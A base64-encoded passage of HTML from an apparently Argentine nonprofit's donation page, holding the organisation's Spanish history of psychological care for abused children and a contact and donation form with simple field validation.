nZW5lcyI+CiAgICAgIDxkaXYgaWQ9InNsaWRlciI+CiAgIAkgIDxkaXY+CiAgIAkJPGltZyBzcmM9ImltYWdlcy9iYW5uZXJfaG9tZS5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iMzA5IiAvPjwvZGl2PiAKICAgCSAgPCEtLWVuZCBvZiBTTElERSAtLT4KICAgICAgPC9kaXY+IAogICAgICA8IS0tZW5kIG9mIFNMSURFUiAtLT4KPC9kaXY+IAogICAgPCEtLWVuZCBvZiBJTUFHRU5FUyAtLT4gICAgCjxkaXYgaWQ9ImJvdG9uZXJhIj4KICAgIAk8dWw+CiAgICAgICAgCTxsaSBjbGFzcz0ibm9zZWxlY3QxIiBpZD0iYm90b24yIj48L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5vc2VsZWN0MiIgaWQ9ImJvdG9uMSI+PC9saT4KICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQobyk7IiBvbmNsaWNrPSJ3aW5kb3cub3BlbignaHR0cDovL3d3dy5mYWNlYm9vay5jb20vc2hhcmVyLnBocD91PWh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2RvbmFjaW9uZXMvJywndmVudGFuYWNvbXBhcnRpcicsICd0b29sYmFyPTAsIHN0YXR1cz0wLCB3aWR0aD02NTAsIGhlaWdodD00NTAnKTsiPgogICAgICAgIDxsaSBjbGFzcz0ibm9zZWxlY3QzIj48L2xpPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwhLS08bGkgY2xhc3M9Im5vc2VsZWN0IiBpZD0iYm90b240Ij5JTkZPUk1BQ0nDk04gREUgQ09NUFJBUzwvbGk+LS0+CiAgICAgICAgICA8IS0tIDxsaSBjbGFzcz0ibm9zZWxlY3QiIGlkPSJib3RvbjUiPkNPTUVSQ0lBTCBERSBUVjwvbGk+IC0tPgogICAgICAgIDwvdWw+CiAgICAgPC9kaXY+ICAgICAgIAogICAgIDwvZGl2Pgo8IS0tZW5kIG9mIEJPVE9ORVJBIC0tPgogICAgCjxkaXYgY2xhc3M9ImNvbnRlbmlkbyIgaWQ9ImNvbnRlbmlkbzEiPgoKPCEtLUNPTlRFTklETyAxZXIgQk9UT04gLS0+CiAKPGRpdiBjbGFzcz0iZm9uZG9fY29udDQiPgoKPGRpdiBjbGFzcz0idGV4dG8iPgo8cD4mbmJzcDs8L3A+CjxwPiZuYnNwOzwvcD4KPHA+PHNwYW4gY2xhc3M9ImgxIj48Yj5TYWx1ZCBBY3RpdmE8L2I+PC9zcGFuPjwvcD4KICAgIAo8cD48c3BhbiBjbGFzcz0iaDIiPlNhbHVkIEFjdGl2YSBlcyB1bmEgb3JnYW5pemFjacOzbiBzaW4gZmluZXMgZGUgbHVjcm8gcXVlIGluaWNpw7Mgc3UgdHJhYmFqbyBhIHByaW5jaXBpb3MgZGVsIGHDsW8gMTk5OS48L3NwYW4+PC9wPgoKPHA+PHNwYW4gY2xhc3M9ImgzIj4KPHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPjxiciAvPgpIb3kgZXN0YW1vcyB0cmFiYWphbmRvIGVuIGVzdGUgcHJveWVjdG86PC9zdHJvbmc+PGJyIC8+CjxhIGhyZWY9Imh0dHA6Ly9pc3N1dS5jb20vZWkuZXN0dWRpby9kb2NzL3NhbHVkYWN0aXZhLWx1ZG90ZWNhP21vZGU9d2luZG93IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9HYXJhYmF0b0x1ZG90ZWNhXzUwMHB4LmpwZyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIxMTMiIGJvcmRlcj0iMCIgLz48L2E+Cgo8YnIgLz4KPGEgaHJlZj0iUHJveWVjdG9MdWRvdGVjYUNvbXBsZXRvLnBkZiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjojRjYwOyI+VmVyIHByb3llY3RvIGNvbXBsZXRvPC9hPjxiciAvPgo8c3Ryb25nPjxiciAvPgo8L3N0cm9uZz48L3NwYW4+PHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPlVuIHBvY28gZGUgaGlzdG9yaWE8L3N0cm9uZz48ZW0+OjwvZW0+PC9wPgo8cD48c3BhbiBjbGFzcz0iaDMiPkN1YW5kbyBpbmljaWFtb3MgZXN0ZSBjYW1pbm8gdGVuw61hbW9zIHVuYSBwcmVvY3VwYWNpw7NuLCBsb3MgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBjdWFuZG8gc2UgcmVjaWLDrWFuIHRlbsOtYW4gcXVlIGNvbWVuemFyIGEgZWplcmNlciB5IHNlIGVuZnJlbnRhYmFuIGEgdW5hIHNlcmllIGRlIHByb2JsZW1hcywgZW50cmUgZWxsb3MgbGEgZGlmZXJlbmNpYSBlbnRyZSBsbyBxdWUgYXByZW5kw61hbiAoeSBhcHJlbmRlbikgZW4gbGEgRmFjdWx0YWQgKHNlYSBsYSBxdWUgc2VhKSB5IGxhIHJlYWxpZGFkIGRlbCBzdWZyaW1pZW50byBkZSBsYSBnZW50ZS4gCiAgRWwgb3RybyBwcm9ibGVtYSBjb24gZWwgcXVlIHNlIHRvcGFiYW4gZXMgbGEgaW5leGlzdGVuY2lhIGRlIGx1Z2FyZXMgZG9uZGUgcmVhbGl6YXIgcHLDoWN0aWNhcywgZG9uZGUgYXByZW5kZXIgYSBhdGVuZGVyIHBhY2llbnRlcywgY29tbyBzZXIgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBlbiBsYSByZWFsaWRhZCBkZWwgY29udXJiYW5vIGJvbmFlcmVuc2XigKYgPGJyIC8+PGJyIC8+CiAgRXNhcyBwcmVvY3VwYWNpb25lcyBzZSBkZXNwcmVuZGllcm9uIGRlIGRpZXogYcOxb3MgZGUgZnVuY2lvbmFtaWVudG8gY29tbyBpbnN0aXR1Y2nDs24gcHNpY29sw7NnaWNhLCBlbCBDSUFQU0kgKENlbnRybyBkZSBJbnZlc3RpZ2FjacOzbiB5IEFzaXN0ZW5jaWEgUHNpY29zb23DoXRpY2EgZnVuZGFkbyBlbiAxOTg5KSB5IGEgbGEgcXVlIGNvbnZvY2Ftb3MgYSBtdWNob3MgeSBtdWNoYXMgasOzdmVuZXMgY29sZWdhcyBxdWUgc3VmcsOtYW4gZXN0YXMgZG9zIGNhcmVuY2lhcyBiw6FzaWNhcyBlbiBzdSBmb3JtYWNpw7NuLiBDb24gZXN0ZSBlc3DDrXJpdHUgZGUgZm9ybWFjacOzbiBwcm9mZXNpb25hbCBjb21lbnphbW9zIG51ZXN0cm8gY2FtaW5vIGNvbiBTYWx1ZCBBY3RpdmEsIGV4YWN0YW1lbnRlIGVsIDkgZGUgYWJyaWwgZGVsIDk5LCBtZWRpYW50ZSBsYSBpbXBsZW1lbnRhY2nDs24gZGVsIFByb2dyYW1hIEFzaXRpci4gQ29udm9jYW1vcyBhIGxvcyBwcm9mZXNpb25hbGVzIHJlY2nDqW4gcmVjaWJpZG9zIGEgcmVhbGl6YXIgZXN0YSBmb3JtYWNpw7NuIHByb2Zlc2lvbmFsIHRlw7NyaWNvLXByw6FjdGljYSBkZSBtYW5lcmEgZ3JhdHVpdGEgeSBxdWUgaW5jbHXDrWEgbGEgc3VwZXJ2aXNpw7NuIGNsw61uaWNhIGRlIGxvcyBwYWNpZW50ZXMgdGFtYmnDqW4gZGUgbWFuZXJhIGdyYXR1aXRhLiAKICA8YnIgLz48YnIgLz4KICBQYXJhIGdlbmVyYXIgbG9zIGVzcGFjaW9zIGRlIGxhIHByw6FjdGljYSBpbnZpdGFtb3MgYSBsYSBjb211bmlkYWQgY2VyY2FuYSBhIHBhcnRpY2lwYXIgZGUgZXN0YSBwb3NpYmlsaWRhZDogYXNpc3RlbmNpYSBwc2ljb2zDs2dpY2EgZ3JhdHVpdGEgbyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuIG3DrW5pbW8gYm9ubyBjb250cmlidWNpw7Nu4oCmCiAgPGJyIC8+PGJyIC8+CiAgUHJpbWVybyBmdWVyb24gbGFzIGVzY3VlbGFzIGRlIG51ZXN0cm8gcGFydGlkbywgcG9kcsOhbiBpbWFnaW5hcnNlIHF1ZSBsYSBwcmltZXJhIHJlYWNjacOzbiBmdWUgZGUgYXNvbWJybyB5IGRlc2NvbmZpYW56YSwgbGFzIGRpcmVjdG9yYXMgeSBlcXVpcG9zIHTDqWNuaWNvcyBjb21lbnphcm9uIGEgbGxhbWFyIHBvciB0ZWzDqWZvbm8sIHNlIGZ1ZXJvbiBhY2VyY2FuZG8geSBsZXMgZXhwbGljw6FiYW1vcyBjdWFsZXMgZXJhbiBudWVzdHJvcyBvYmpldGl2b3M6IGZvcm1hciBwcm9mZXNpb25hbGVzIHkgcGVybWl0aXIgYSBtw6FzIGdlbnRlIHBvZGVyIGFjY2VkZXIgYSBsYSBhc2lzdGVuY2lhIHBzaWNvbMOzZ2ljYS4gQXPDrSBwbGFudGVhZG8gZW1wZXphcm9uIGEgbGxlZ2FyIGxhcyBwcmltZXJhcyBkZXJpdmFjaW9uZXM6IG5pw7FvcywgbmnDsWFzIHkgYWRvbGVzY2VudGVzIHF1ZSB0dXZpZXJhbiBkaWZpY3VsdGFkZXMgbyBwcm9ibGVtYXMgZW4gbGEgZXNjdWVsYSwgeSBxdWUgbGEgZXNjdWVsYSBzZSBjb21wcm9tZXRpZXJhIGEKICB0cmFiYWphciBqdW50byBhIG5vc290cm9zIGVuIGxhIHByb2JsZW3DoXRpY2EgZGVsIG5pw7FvIG8gbmnDsWEuCiAgUXVlIGZ1ZSBsbyBxdWUgb2N1cnJpw7PigKZsYSBtYXlvcsOtYSBkZSBsYXMgZGVyaXZhY2lvbmVzIGVzdGFiYW4gdmluY3VsYWRhcyBhbCBtYWx0cmF0byAsIGEgbGEgdmlvbGVuY2lhIHkgYWwgYWJ1c28gaW5mYW50aWwuIAogIDxiciAvPjxiciAvPgogIEp1c3RhbWVudGUgcG9yIHVuIGNhc28gZGUgYWJ1c28gc2V4dWFsIGluZmFudGlsIGZ1aW1vcyBjb252b2NhZG9zIHBvciB1bm8gZGUgbG9zIFRyaWJ1bmFsZXMgZGUgRmFtaWxpYSBkZSBNb3LDs24sIGVsIG7CuiAxIHBhcmEgc2VyIG3DoXMgZXhhY3RvcyBlbiBkb25kZSBjb21lbnphYmEgYSBmdW5jaW9uYXIgdW4gZXNwYWNpbyBpbm5vdmFkb3IgcGFyYSBhcXVlbCBtb21lbnRvLCBub3ZpZW1icmUgZGVsIDk5LCAgbGEgUmVkIGRlIEZhbWlsaWEgZGVsIE9lc3RlLCBjcmVhZGEgcG9yIHVuIEp1ZXogZWwgRHIuIENhcmxvcyBSb21hbm8sIHZpc2lvbmFyaW8gc29icmUgbGEgZm9ybWEgZW4gbGEgcXVlIHNlIGRlYmVuIHRyYWJhamFyIGxvcyB0ZW1hcyBkZSB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c286IGVuIHJlZCwgYXJ0aWN1bGFuZG8sCiAgbXVsdGlkaXNjaXBsaW5hcmlhbWVudGUsIHBlbnNhbmRvIGp1bnRvcywgc2llbmRvIGNyZWF0aXZvc+KApgogIDxiciAvPjxiciAvPgogIE5vcyBhdXRvIGZvcm1hbW9zLCBpbnZlc3RpZ2Ftb3MsIGNvbnN0aXR1aW1vcyBncnVwb3MgZGUgZXN0dWRpbywgbm9zIGNhcGFjaXRhbW9zLCB5IG5vcyBlc3BlY2lhbGl6YW1vcy4KICBTaWVtcHJlIGRlY2ltb3MgcXVlIG5vc290cm9zIG5vIGVsZWdpbW9zIGhhY2VyIGVzdG8sIGxhIHJlYWxpZGFkIHNlIG5vcyBpbXB1c28geSBzZW50aW1vcyBxdWUgZXJhIG51ZXN0cm8gZGViZXIgcmVzcG9uZGVyIGEgbG8gcXVlIG5hZGllIHJlc3BvbmRlLCBhY29tcGHDsWFyIGxvIHF1ZSBuYWRpZSBhY29tcGHDsWEsIHkgcG9yIHNvYnJlIHRvZG8gaGFjZXLigKYsIHRyYXRhciBxdWUgZWwgcXVlIGVzdMOhIHN1ZnJpZW5kbyB0ZW5nYSBsYSBvcG9ydHVuaWRhZCBkZSBlbGVnaXIgb3RyYSBjb3NhLCB0ZW5nYSBsYSBwb3NpYmlsaWRhZCBkZSBtZWpvcmFyLCBkZSBjYW1iaWFyIHN1IGRlc3Rpbm/igKYKICA8YnIgLz48YnIgLz4KICBFbiBlc2UgY2FtaW5vIGZ1aW1vcyBoYWNpZW5kbywgbG9zIENvbmdyZXNvcywgbGFzIEpvcm5hZGFzLCBsYXMgY2FwYWNpdGFjaW9uZXMgZXh0ZXJuYXMgeSBmb3JtYW1vcyBtdWNob3MsIHBlcm8gbXVjaG9zIHByb2Zlc2lvbmFsZXPigKZudW5jYSB0dXZpbW9zIGVsIHRpZW1wbyB5IGVsIGRpbmVybyBwYXJhIHNpc3RlbWF0aXphciBsYSBpbmZvcm1hY2nDs24geSBwb2RlciBjb250YXIgY29uIGVzdGFkw61zdGljYXMgcG9ycXVlIGVsIHRpZW1wbyB5IGVsIHBvY28gZGluZXJvIGxvIHVzYW1vcyBwYXJhIGFsaXZpYXIgZWwgc3VmcmltaWVudG8gZGUgbG9zIHBhY2llbnRlcyBxdWUgcmVjdXJyZW4gYSBub3NvdHJvcy4KICA8YnIgLz48YnIgLz4KICBUYW1iacOpbiBub3MgZGltb3MgY3VlbnRhIHF1ZSBlbiBtdWNob3MgbW9tZW50b3MgZGUgbGEgdmlkYSBkZSBsb3MgbmnDsW9zIHkgbmnDsWFzIG5vIGFsY2FuemEgY29uIGVsIHRyYXRhbWllbnRvIGVuIHVuIGNvbnN1bHRvcmlvLCBwb3JxdWUgbGFzIHByb2JsZW3DoXRpY2FzIHNlIGNvbXBsZWppemFuLCBsYXMgc2l0dWFjaW9uZXMgc2UgYWdyYXZhbiB5IHNlbnRpbW9zIHF1ZSB0ZW7DrWFtb3MgcXVlIGhhY2VyIGFsZ28gbcOhc+KApgogIEFzw60gbmFjZSBudWVzdHJvIFByb2dyYW1hIE1ldGFtb3Jmb3NpcywgdW4gZXNwYWNpbyBkZSB0cmF0YW1pZW50byBpbnRlZ3JhbCBjb24gaW50ZXJuYWNpw7NuIHBhcmEgYWRvbGVzY2VudGVzIG11amVyZXMgdsOtY3RpbWFzIGRlIGFidXNvIHNleHVhbCwgZGUgdmlvbGVuY2lhLCBkZSB0cmF0YeKAplRhbWJpw6luIGluaWNpYW1vcyBudWVzdHJvcyBwcm9ncmFtYXMgQ29uc3RydXllbmRvIHkgQXByZW5kZXIgYSB2b2xhciwgZGVzdGluYWRvIGEgYWRvbGVzY2VudGVzIGVuIGNvbmZsaWN0byBjb24gbGEgbGV5IHBlbmFsLCAgcHVuaWJsZXMgeSBubyBwdW5pYmxlcyByZXNwZWN0aXZhbWVudGUsIAogIGFsZ28gYWx0ZXJuYXRpdm8gYSBsYSBpbnRlcm5hY2nDs27igKYKICA8YnIgLz48YnIgLz4KICBBIGxvIGxhcmdvIGRlIGVzdG9zIGHDsW9zIGhlbW9zIGRlc2Fycm9sbGFkbyBtdWNob3MgcHJvZ3JhbWFzLCBxdWUgdHV2aWVyb24gcXVlIGRpc2NvbnRpbnVhcnNlIGRlYmlkbyBhIGxhIGZhbHRhIGRlIHJlY3Vyc29zIGVjb27Ds21pY29zLCBsYSB2ZXJkYWQgZXMgcXVlIG51bmNhIGhheSBkaW5lcm8gcGFyYSBlc3RvcyB0ZW1hcywgYSBwZXNhciBkZSBxdWUgdG9kbyBlbCBtdW5kbyBzZSBsYSBwYXNhIGhhYmxhbmRvIGRlIGVsbG9zLCBwZXJvIGhhYmxhbiwgc29sbyBoYWJsYW7igKYKICA8YnIgLz48YnIgLz4KICBIb3kgbm9zIGVuY29udHJhbW9zIGVuIGVzdGUgbW9tZW50bywgZW4gZG9uZGUgU2FsdWQgQWN0aXZhIHNlIGVuY3VlbnRyYSBlbiBjcmlzaXPigKYKICBOdWVzdHJhIMO6bmljYSBmdWVudGUgZGUgZmluYW5jaWFtaWVudG8gcGFyZWNlIHF1ZSB0YW1iacOpbiBlc3TDoSBlbiBjcmlzaXMsIG5vcyBlbmNvbnRyYW1vcyBlbiB1bmEgZW5jcnVjaWphZGEsIG5lY2VzaXRhbW9zIGRlIGxhIGF5dWRhIGRlIHVzdGVkZXPigKZTaSBsZXMgcGFyZWNlIHF1ZSBlc3RhbW9zIGhhY2llbmRvIGFsZ28gYnVlbm8gcGFyYSBsYSBnZW50ZSBsb3MgaW52aXRhbW9zIGEgcXVlIHNlIGFzb2NpZW4gYSBub3NvdHJvcyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuYSBwZXF1ZcOxYSBjb250cmlidWNpw7NuIG1lbnN1YWwgcXVlIHNlIGRlYml0YXLDoSBkZSBzdSB0YXJqZXRhIAogIGRlIGNyw6lkaXRvLCB0b2RhIGNvbGFib3JhY2nDs24gcG9yIHBlcXVlw7FhIHF1ZSBzZWEgbm9zIGF5dWRhcsOhCiAgPGJyIC8+PGJyIC8+CiAgQWNvbXBhw7FlbiBlc3RhIHRhcmVhIHF1ZSBkZXNlYW1vcyBzZWd1aXIgaGFjaWVuZG/igKYKPC9zcGFuPjwvcD4KPC9kaXY+CgkJCjwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyIj48aW1nIHNyYz0iaW1hZ2VzL2Zvb3Rlci5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iODciIC8+PC9kaXY+Cgo8L2Rpdj4KICAgICA8IS0tZW5kIG9mIENPTlRFTklETzEgLS0+CiAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRlbmlkbzIiIGlkPSJjb250ZW5pZG8yIj4KICAgIDwhLS1DT05URU5JRE8gMmRvIEJPVE9OICAtLT4KICAgIAoKPGRpdiBjbGFzcz0iZm9uZG9fY29udDIiPgoKPGRpdiBjbGFzcz0iZm9ybSI+CiAgPGRpdiBjbGFzcz0idGV4dG8iPgogICAgPHA+Jm5ic3A7PC9wPgogICAgPHA+Jm5ic3A7PC9wPgo8cD48c3BhbiBjbGFzcz0idGl0dWxvX2Zvcm0iPjxiPkRBVE9TIFBFUlNPTkFMRVM8L2I+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9InRpdHVsb19mb3JtMiI+KEVzIG9ibGlnYXRvcmlvIHJlbGxlbmFyIGxvcyBjYW1wb3MgCiAgICAgICAgICAgICAgICBpbmRpY2Fkb3MgY29uICopPC9zcGFuPjwvcD4KICAgIDxkaXYgaWQ9ImJsb3F1ZV9penFfMDMiPgogICAgCQk8ZGl2IGlkPSJibG9xdWVfaXpxXzAzX3RleHRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB2YWxpZGFyRW1haWwoZW1haWwpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlICA9IC9eKFthLXpBLVowLTlfLi1dKStAKChbYS16QS1aMC05LV0pKy4pKyhbYS16QS1aMC05XXsyLDR9KSskLzsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFyZS50ZXN0KGVtYWlsKSkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoubm9tYnJlLnZhbHVlID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgaW5ncmVzYXIgc3Ugbm9tYnJlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JqLm5vbWJyZS5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouYXBlbGxpZG8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBhcGVsbGlkbyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5hcGVsbGlkby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVsZWZvbm8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSB0ZWxlZm9ubyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai50ZWxlZm9uby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouZW1haWwudmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBlbWFpbCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5lbWFpbC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHZhbGlkYXJFbWFpbChvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFbCBlbWFpbCBpbmdyZXNhZG8gZXMgaW5jb3JyZWN0byIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmouZW1haWwuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVybWlub3MuY2hlY2tlZCAhPSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgYWNlcHRhciBsb3MgdMOpcm1pbm9zIHkgY29uZGljaW9uZXMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmoudGVybWlub3MuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSJjb250YWN0IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iZW52aW8ucGhwIiBvblN1Ym1pdD0icmV0dXJuIHZhbGlkYXIodGhpcykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iYmxvcXVlX2l6cV8wMiI+CjxoMT5Ob21icmU8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5BcGVsbGlkbzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlByb2Zlc2nDs248L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5MdWdhciBkZSB0cmFiYWpvPC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+VGVsw6lmb25vPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+RW1haWw8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPGgxPk5yby4gZGUgVGFyamV0YTxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+IC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5Nb250bzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlRpcG8gZGUgT3BlcmFjacOzbjxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxIGlkPSJoMV90YXJqZXRhIj5UYXJqZXRhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgaWQ9ImgxX2ZyZWN1ZW5jaWEiPkZyZWN1ZW5jaWE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAJCSAgPGZpZWxkc2V0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0ibm9tYnJlIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJub21icmUiIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJhcGVsbGlkbyIgY2xhc3M9InJlZzEiIHNpemU9IjE1IiB3aWR0aD0iMTA1IiBpZD0iYXBlbGxpZG8iIHR5cGU9InRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0icHJvZmVzaW9uIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJwcm9mZXNpb24iIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJ0cmFiYWpvIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJ0cmFiYWpvIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0idGVsZWZvbm8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRlbGVmb25vIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0iZW1haWwiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij48L3A+PGJyIC8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gY2xhc3M9InRpdHVsb19mb3JtIj48Yj5ET05BQ0lPTkVTPC9iPjwvc3Bhbj48L3A+ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPHA+PGlucHV0IG5hbWU9InRhcmpldGEiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRhcmpldGEiIHR5cGU9InRleHQiPjwvcD4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c2VsZWN0IG5hbWU9Im1vbnRvIiBjbGFzcz0icmVnMiIgaWQ9Im1vbnRvIiBvbkNoYW5nZT0iaWYgKHRoaXMudmFsdWUgPT0gJy0xJykgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PScnOyB9IGVsc2UgeyBkb2N1bWVudC5nZXRFb